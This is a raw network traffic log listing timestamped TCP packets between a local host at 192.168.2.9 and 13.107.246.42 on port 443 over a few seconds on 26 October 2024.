Oct 26, 2024 13:46:21.046375990 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.147773981 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.147839069 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.147943974 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.148156881 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.148156881 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.148176908 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.148185968 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.150752068 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.150765896 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.151247025 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.151385069 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.151398897 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.152673960 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.152694941 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.152739048 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.152791023 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.152791023 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.152920008 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.152925968 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.152951002 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.152956009 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.155083895 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.155111074 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.155706882 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.155800104 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.155816078 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.176907063 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.176985979 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.177087069 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.177120924 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.177155018 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.177196026 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.177207947 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.177220106 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.177225113 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.179426908 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.179438114 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.179512978 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.179620028 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.179629087 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.622397900 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.623071909 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.623087883 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.623938084 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.623943090 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.656068087 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.656652927 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.656682968 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.657171011 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.657176971 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.752254963 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.752316952 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.752372026 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.752497911 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.752497911 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.752655983 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.752655983 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.752674103 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.752685070 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.755381107 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.755419970 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.755486965 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.755644083 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.755656958 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.786705017 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.786850929 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.786911011 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.787082911 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.787097931 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.787111044 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.787117004 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.790107012 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.790155888 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.790225983 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.790390015 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.790406942 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.875374079 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.875860929 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.875884056 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.876327038 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.876333952 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.903057098 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.903501987 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.903522015 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.903990984 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.903997898 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.939440966 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.940119028 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.940135956 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.940701962 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.940707922 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.003249884 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.006050110 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.006099939 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.006113052 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.006151915 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.006222963 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.006232023 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.006242990 CEST	49878	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.006247044 CEST	443	49878	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.009357929 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.009396076 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.009501934 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.009604931 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.009619951 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.036398888 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.036422014 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.036499023 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.036523104 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.036550045 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.037888050 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.037908077 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.037919998 CEST	49877	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.037925005 CEST	443	49877	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.040651083 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.040688038 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.040750027 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.041265965 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.041282892 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.072062969 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.072132111 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.072202921 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.072230101 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.072298050 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.072350025 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.083123922 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.083142996 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.083153963 CEST	49879	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.083161116 CEST	443	49879	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.099956036 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.100009918 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.100107908 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.100264072 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.100284100 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.491132021 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.491926908 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.491955042 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.492506027 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.492516041 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.519747972 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.520256996 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.520291090 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.520678043 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.520683050 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.622308016 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.622379065 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.622457027 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.622603893 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.622626066 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.622648001 CEST	49880	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.622654915 CEST	443	49880	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.625324965 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.625366926 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.625428915 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.625592947 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.625610113 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.649605036 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.649666071 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.649727106 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.649868011 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.649884939 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.649895906 CEST	49881	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.649902105 CEST	443	49881	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.652453899 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.652487040 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.652565956 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.652719021 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.652731895 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.757803917 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.758311033 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.758352995 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.758768082 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.758783102 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.765742064 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.766155005 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.766184092 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.766592979 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.766598940 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.853418112 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.853900909 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.853918076 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.854499102 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.854504108 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.891009092 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.891092062 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.891144037 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.891364098 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.891381979 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.891396999 CEST	49882	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.891406059 CEST	443	49882	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.894567966 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.894607067 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.894676924 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.894865990 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.894881964 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.894974947 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.895005941 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.895052910 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.895066977 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.895117998 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.895143032 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.895167112 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.895179987 CEST	49883	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.895185947 CEST	443	49883	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.897367001 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.897398949 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.897583961 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.897623062 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.897629976 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.988322973 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.988393068 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.988454103 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.988662958 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.988672018 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.988682985 CEST	49884	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.988687038 CEST	443	49884	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.992839098 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.992875099 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:22.992952108 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.993136883 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:22.993146896 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.308445930 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.308936119 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.308947086 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.309613943 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.309628963 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.436628103 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.437203884 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.437239885 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.437654972 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.437665939 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.439656019 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.440002918 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.440017939 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.440350056 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.440355062 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.440691948 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.441087961 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.441102028 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.441432953 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.441437960 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447122097 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447124004 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447241068 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447292089 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447350979 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.447350979 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.447474957 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.447500944 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447525978 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.447525978 CEST	49885	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.447541952 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447550058 CEST	443	49885	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.447858095 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.447864056 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.450171947 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.450203896 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.450270891 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.450395107 CEST	49890	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.450408936 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.569968939 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.570029020 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.570084095 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.570308924 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.570326090 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.570337057 CEST	49886	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.570343018 CEST	443	49886	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.572206020 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.572985888 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.573055983 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.573082924 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.573101997 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.573113918 CEST	49888	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.573120117 CEST	443	49888	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.573575020 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.573600054 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.573781013 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.574037075 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.574053049 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.574491978 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.574532986 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.574567080 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.574580908 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.574594021 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.574641943 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.574790955 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.574791908 CEST	49887	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.574798107 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.574806929 CEST	443	49887	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.575150013 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.575200081 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.575274944 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.575392008 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.575412035 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.576884985 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.576915026 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.576984882 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.577126026 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.577137947 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.581746101 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.581832886 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.581890106 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.582024097 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.582024097 CEST	49889	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.582042933 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.582056046 CEST	443	49889	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.584076881 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.584115028 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:24.584188938 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.584332943 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:24.584352016 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.415901899 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.416410923 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.416435003 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.416986942 CEST	49892	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.416995049 CEST	443	49892	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.418294907 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.418797016 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.418823957 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.419310093 CEST	49893	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.419331074 CEST	443	49893	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.422418118 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.422745943 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.422777891 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.423177958 CEST	49894	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.423185110 CEST	443	49894	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.423711061 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.424035072 CEST	443	49890	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.424124956 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.424146891 CEST	443	49891	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:25.424846888 CEST	49891	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:25.424860001 CEST	443	49891	13.107.246.42	192.168.2.9
